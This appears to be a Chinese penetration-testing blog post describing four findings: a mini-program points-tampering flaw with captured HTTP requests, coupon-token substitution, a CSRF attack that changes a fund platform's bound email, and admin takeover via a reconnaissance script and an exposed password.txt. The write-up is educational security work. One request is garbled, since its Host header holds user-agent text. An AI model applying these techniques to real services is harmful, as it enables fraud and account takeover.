渗透测试人员堪称代码世界的“侦探”，手握 Burp Suite 这把“放大镜”，在甲方资产的海洋中探索。我们对着页面疯狂修改参数、发送请求，却时常只得到平淡如水的响应，如同向广阔的太平洋投入一枚石子，不泛起一丝涟漪；或者直接被拦截请求，让人气得想砸键盘。登录框更是经典的“打卡圣地”，测试 API 接口时，既要扮演研究正常逻辑的“好学生”，又要秒变设计注入 Payload 的“脑洞大师”，还得时刻提防 WAF 悄无声息地送你一张 404 的“飞机票”。
最近挖到的几个中高危漏洞，既没靠 0day 这种“王炸”，也没搞复杂的利用链“炫技”，纯粹是靠“人肉扫描器”般的细心，连标点符号都不放过地逐行比对参数和响应。直到某个昏昏欲睡的下午，随手改了一个藏在 JSON 数据深处的小参数，系统突然反馈了全新的信息，反常的响应直接暴露了逻辑缺陷。当时激动得差点把咖啡泼到键盘上。
一、无限抽奖币漏洞
新的功能点往往被常规功能点所裹挟，在黑盒测试中，我们只能不断地“点点点”。当坚持到隐秘功能点出现的那一刻，漏洞已是呼之欲出。
在一份漏洞报告中可以看到这样的案例：一个微信小程序存在“无限抽奖”的逻辑漏洞。报告提交时间为2025年某日，漏洞类型为“逻辑设计缺陷”，危害等级为“中”，处理进度显示为“修复中”。
测试开始时，通过微信搜索找到了厂商一处不起眼的资产——一个在线抓娃娃游戏。游戏界面背景为紫色星空，中央有一个粉色的机械爪。平台上有各种奖品，包括一个印有“大面筋”字样的包装盒。游戏规则显示，每次抓取需要消耗20个“豆币”，初始账户有1000个豆币。
起初，我小心翼翼地尝试修改投币数量、修改返回包控制所得物品、并发签到等操作，结果漏洞还没挖到，游戏币就已经快用完了。当时已经非常晚了，在最后一次抓娃娃尝试修改请求包却一无所获后，悬着的心终于死了，准备关闭电脑。然而，就在游戏币耗尽时，界面弹出了新的功能点——“分享赚豆币”。这让我本已熄灭的希望又重新燃烧起来。
点击“分享赚豆币”后，使用 Burp Suite 记录所有流量。在历史记录中逐个查看数据包，凭借经验锁定了 /app/point/doll/share 接口，它就是控制所得金币数量的关键数据包，其 points 参数的值决定了奖励的豆币数量。
关键的请求包如下所示：
POST /app/point/doll/share HTTP/1.1
Host: com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 MicroMessenger/7.0.20.181 (WeChatId=0x600143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/Win64 WindowsWechat (0x60000c33)XWBB/13487
Token: 621a09642b2091dad/a0270f8d47
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Referer:
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
Connection: close
points:15
服务器返回了成功的响应：
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 03 May 2025 02:52:07 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
x-envoy-upstream-service-time: 6
x-envoy-decorator-operation: app-douya.ika-nn-douya.svc.cluster.local:80/^
Content-Length: 49
{ "code": 200, "msg": "OK", "total": 0, "data": true }
思路理清后，直接使用重发器（Repeater）修改 points 参数，输入一个巨大的数值进行测试：
POST /app/point/doll/share HTTP/1.1
Host: 537.36 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781 (On6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/MPF WindowsWechat (On5906732XZP)
Token: 621a094425c2691d3dad7a2070f46d757
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referrer:
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1
Connection: close
points:100000000
服务器同样返回了成功响应：
HTTP/1.1 200 OK
Server: nginx
Date: Sat, 03 May 2025 02:52:23 GMT
Content-Type: application/json;charset=UTF-8
Connection: close
X-envoy-upstream-service-time: 10
Content-Length: 40
{ "code":200, "msg":"成功", "total":0, "data":true }
不出所料，利用成功。查看小程序内的“豆币记录”页面，可以清楚地看到一条记录：“娃娃机游戏分享给好友”，豆币变动为“+100000000”。这证明通过修改请求中的 points 参数，可以无限刷取游戏币。
这个案例告诉我们，不测试完所有功能点就绝不轻言放弃。作为安全测试人员，穷尽所有测试思路才算是一次完整的渗透。虽然过程枯燥，但细心坚持终会有所收获。
二、可控优惠券漏洞（越权替换 Token）
在电商或服务平台，用户购买某些商品或服务后，系统可能会赠送优惠券。通常，只有购买高价值服务才会获得大额优惠券。这里的漏洞在于，通过低级服务获得的优惠券，其对应的高价值优惠券 token 可以被找到并替换，从而造成刷取高额优惠券的效果。
一份漏洞报告显示，某平台存在“刷优惠券”的漏洞，类型为“Web漏洞 - 逻辑漏洞”，白评等级为“高”。
测试过程省略前期步骤，直接进入核心的数据包分析阶段。选择一个低价商品服务下单，使用 Burp Suite 记录所有流量。通过逐一分析，定位到创建订单的关键接口：
https://xxxxx/restapi/soa2/19691/orderCreate?_fxpcqlnired
将含有此接口的请求包发送到重发器，等待进一步测试。
在小程序内查看已创建的订单，发现支付成功后系统会赠送一些优惠券，但都是一些小额优惠券，类似于“5元兰博基尼购车抵用券”这种趣味性大于实用性的福利。在订单的“赠送服务”选项中，可以看到“优惠券”条目。
在重发器中观察创建订单的请求包，这类涉及多业务流程的数据包通常参数繁多。通过仔细的“人肉审计”，定位到 data 数据体中记录了与优惠券对应的 token 信息。
关键的JSON数据结构如下（已简化并突出核心字段）：
{
"data": {
...,
"aggs": [
{
"type": "ID",
"aggregationType": "COUPON",
"productType": "CouponProduct",
"aggProductType": "X_PRODUCT_FREE",
"unitPriceMap": {
"28": {
"orderUnitType": "0",
"orderProductType": "X_PRODUCT_T_FREE"
}
},
"productId": "4880",
"token": "gQcKDUNv4X8vb1yb2N1Y3QS8DE300UaHggABAAAYAD12GECPIjGNtAVgYAFaYA8gElCAgICAgICAaIBGAoLURJvb996aW9uSUQSCIM40IczODRyNaIBCgoDRV52BgNQU+4Abfx/bzvMg==",
"free": true,
...
},
{
"type": "CouponProduct",
"aggProductType": "X_PRODUCT_FREE",
"unitPriceMap": { ... },
"productId": "4880",
"token": "gQcKDUNv4X8vb1yb2N1Y3QS8DE300UaHggABAAAYAD12GECPIjGNtAVgYAFaYA8gElCAgICAgICAaIBGAoLURJvb996aW9uSUQSCIM40IczODRyNaIBCgoDRV52BgNQU+4Abfx/bzvMg==",
"free": true,
...
}
],
...
}
}
通过一系列信息收集手法，找到了其他高价值优惠券（例如“奔驰豪华车型立减100元券”）所对应的 token。然后，在创建订单的请求中，将原本低级优惠券的三处 token 字段替换为高价值优惠券的 token。
替换 token 后，再次提交订单创建请求。此时，系统赠送的优惠券就从原来的小额券变成了三张“奔驰豪华车型立减100元券”，并且状态显示为“发券中...”。这意味着，只要攻击者知道任意高价值券的 token，就可以在购买低价服务时获得对应的优惠券，并且可以通过复制字段来实现优惠券的叠加赠送。
三、CSRF修改绑定邮箱
在各种逻辑漏洞、云攻防、OWASP Top 10 漏洞为主流的今天，最基础的 CSRF（跨站请求伪造）往往被忽视。它常与其他漏洞结合利用，但其单独所能造成的危害也不容小觑。我的理解是，只要功能涉及用户主观操作（如修改信息、增加地址、发送邮件等），并且请求中没有发现有效的 token 或其他校验字段，都可以尝试 CSRF。
一份漏洞详情报告显示，某平台“存在CSRF修改绑定邮箱”，漏洞类型为“WEB漏洞 - CSRF”，危害等级为“中”。
在目标网站（一个基金交易平台）的账户信息页面，正常修改绑定邮箱需要用户输入交易密码进行验证。页面表单包含“当前邮箱”（部分遮蔽）、“新的邮箱”输入框和“交易密码”输入框。
然而，在“账户信息”功能中修改个人信息（如姓名、防钓鱼信息等）的接口，却同时包含了邮箱字段，并且修改时不需要验证交易密码。
用户的账户信息页面显示如下关键信息：
- 姓名：邓
- 身份证号：3601**** 19
- 手机号码：157 **** 1454
- 电子邮箱：111****@qq.com （此处可修改）
- 交易密码：已设置 （找回/修改）
对个人信息修改功能进行抓包，Burp Suite 记录到更新信息的接口为：
/fund/apl/postUserinfo
观察这个更新个人信息的请求包，发现它有两个关键问题：
- 它携带了邮箱更新字段，但跳过了需要交易密码的独立邮箱修改流程。
- 请求包中没有
token、CSRF-Token 等常见的防伪令牌字段。
基于以上两点，可以尝试构造 CSRF 攻击。将抓到的 POST 请求在 Burp Suite 中右键，选择“Engagement tools” -> “Generate CSRF PoC”。把生成的 HTML 代码拷贝出来，将其中的邮箱等信息修改为攻击者控制的邮箱，然后保存为本地 HTML 文件（例如 poc.html）。
让已登录目标网站的小号（测试账户）的浏览器去打开这个 poc.html 文件，页面会自动提交表单。点击后返回修改成功。刷新目标网站，可以看到“账户信息”页面中的电子邮箱已经被修改为攻击者预设的邮箱地址，CSRF 攻击成功。这种方式可以在用户不知情的情况下，接管其账户的密码重置等关键功能。
四、信息泄露导致网站后台接管
从企业 SRC 测试转向实际工作中的渗透项目，面对的是海量的资产。在一次对某地区单位的授权渗透测试中，最终通过信息泄露拿下了网站超级管理员权限。
开局获得的是庞大地区的单位名称列表。并非所有单位都有网站，因此第一步是资产梳理与筛选。众多单位名中，只有存在备案网址的才是可渗透的有效资产。这里使用网络空间测绘引擎（如 Hunter）的“按备案名称(icp.name)”搜索功能，可以高效地筛选出有效资产。查询语法为：
icp.name="单位名称"
为了批量处理，可以编写 Python 脚本自动调用测绘平台的 API。脚本的核心功能是读取单位名称列表文件（如 dz.txt），遍历每个名称，构造查询语法，调用 API 获取该备案单位对应的所有域名、IP、端口、标题等资产信息，并将结果整理为 JSON 和 Excel 文件。
以下是一个简化的资产收集脚本框架：
import requests
import base64
import time
import json
import pandas as pd
BASE_URL = "https://hunter.qianxin.com"
API_KEY = "你的API_KEY" # 需替换
SEARCH_ENDPOINT = "/openApi/search"
def load_company_names(file_path):
with open(file_path, 'r', encoding='utf-8') as f:
return [line.strip() for line in f if line.strip()]
company_names = load_company_names("dz.txt")
all_results = []
for company in company_names:
search_query = f'icp.name="{company}"'
search_encoded = base64.urlsafe_b64encode(search_query.encode("utf-8")).decode("utf-8")
params = {
"api-key": API_KEY,
"search": search_encoded,
"page": 1,
"page_size": 10
}
try:
resp = requests.get(f"{BASE_URL}{SEARCH_ENDPOINT}", params=params, timeout=15)
data = resp.json()
if data.get('code') == 200 and data.get('data', {}).get('arr'):
# 处理资产数据
for item in data['data']['arr']:
# 移除可能过长的banner字段以精简数据
item.pop('banner', None)
all_results.append({
'company': company,
'url': item.get('url'),
'title': item.get('web_title'),
'ip': item.get('ip'),
'port': item.get('port')
})
time.sleep(1) # 礼貌延迟
except Exception as e:
print(f"查询{company}时出错: {e}")
# 保存结果
with open('assets.json', 'w', encoding='utf-8') as f:
json.dump(all_results, f, ensure_ascii=False, indent=4)
df = pd.DataFrame(all_results)
df.to_excel('assets.xlsx', index=False)
脚本运行后会生成资产列表。之后，便可以对筛选出的资产（通常只保留状态码为200的Web资产）使用 nuclei、afrog 等自动化漏洞扫描工具进行初筛，寻找如 swagger 接口泄露、目录遍历、已知 CVE 漏洞等问题。
在自动化工具扫描的同时，开始手工测试。对一个单位官网进行目录扫描，使用 dirsearch 等工具，很快发现了一个 /Admin/ 目录，这大概率是网站后台管理路径。
访问 http://xxxxx.com/Admin/，返回状态码 301 并跳转到了一个登录页面。登录框尝试了 admin/admin 等常见弱口令，均告失败。网站标题显示为“某某网络”，推测可能是某小众CMS或建站框架，但未找到公开漏洞。
常规测试思路似乎穷尽。此时回过头来仔细查看最初的目录扫描结果，发现在一堆结果中，有一个不起眼的文件：password.txt。
直接访问 http://xxxxx.com/password.txt，浏览器竟然真的返回了一个文本文件，里面明文存放着后台的管理员用户名和密码！使用该密码成功登录网站后台管理，获得了超级管理员权限。
总结
渗透测试没有那么多华而不实的“屠龙术”，更多的是重复测试99个数据包后，在第100个数据包里发现的惊喜。安全测试的本质是细心与坚持，需要像侦探一样不放过任何蛛丝马迹，对每一个参数、每一条响应都保持好奇与质疑。无论是小程序游戏里的数值控制、电商订单中的令牌替换，还是网站目录下的明文密码，漏洞往往就藏在那些看似平淡无奇的功能和文件背后。
参考资料
[1] 从信息收集到后台拿权全记录 SRC 视角下：渗透测试中的逻辑漏洞思路博弈, 微信公众号：mp.weixin.qq.com/s/rrBaGy7fhAb9SqwNjxVbCQ
版权声明：本文由 云栈社区 整理发布，版权归原作者所有。
发表于 昨天 17:33
|
查看: 6|
回复: 0
